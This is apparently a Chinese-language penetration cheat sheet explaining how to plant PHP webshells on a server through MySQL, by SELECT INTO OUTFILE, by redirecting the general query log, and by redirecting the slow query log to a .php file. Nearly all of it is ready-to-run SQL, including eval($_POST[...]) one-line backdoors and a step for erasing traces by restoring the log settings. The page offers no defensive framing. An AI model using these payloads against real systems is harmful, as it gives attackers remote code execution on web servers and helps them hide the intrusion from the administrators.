一、select into outfile直接写入
1、利用条件
对web目录需要有写权限能够使用单引号(root)
知道网站绝对路径(phpinfo/php探针/通过报错等)
secure_file_priv没有具体值
select @@basedir; 查找绝对路径
show global variables like '%secure_file_priv%'; 查看有没有配置 secure_file_priv 功能
NULL 表示不允许导入或导出
/tmp 表示只允许在 /tmp 目录导入导出
空 表示不限制目录
2、如果满足以上条件可以直接写shell
select "<?php @eval($_POST[cc]);?>" into outfile '/网站绝对路径/shell.php'
二、日志文件写 shell
general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容那么就可以成功 getshell:
1、SHOW VARIABLES LIKE '%general%' 查看配置默认是关闭状态
2、set global general_log = on; 开启general_log模式
3、set global general_log_file='日志路径\shell.php'; 修改日志目录为shell地址
4、select '<?php eval($_POST[cmd]);?>' 写入shell因为开启了日志记录功能,所执行的sql语句都会被记录在日志中
5、抹除痕迹
set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log'; 修改日志目录为原来地址
set global general_log = off; 关闭general_log模式
三、慢查询写入webshell
在实际写webshell的时候,我们经常会遭受到secure_file_priv的阻拦,secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用。
在高版本的mysql中默认为NULL,就是不让导入和导出
解决办法:
在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=
在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=
使用慢查询日志绕过此限制
1、show variables like '%slow_query_log%'; 查看慢查询日志开启情况
2、set global slow_query_log=on; 开启慢查询日志
3、set global slow_query_log_file='C:/phpStudy/WWW/shell.php'; 修改日志文件存储的绝对路径
4、select '<?php @eval($_POST[shell]);?>' or sleep(10); 向日志文件中写入shell
5、使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
show global variables like '%long_query_time%';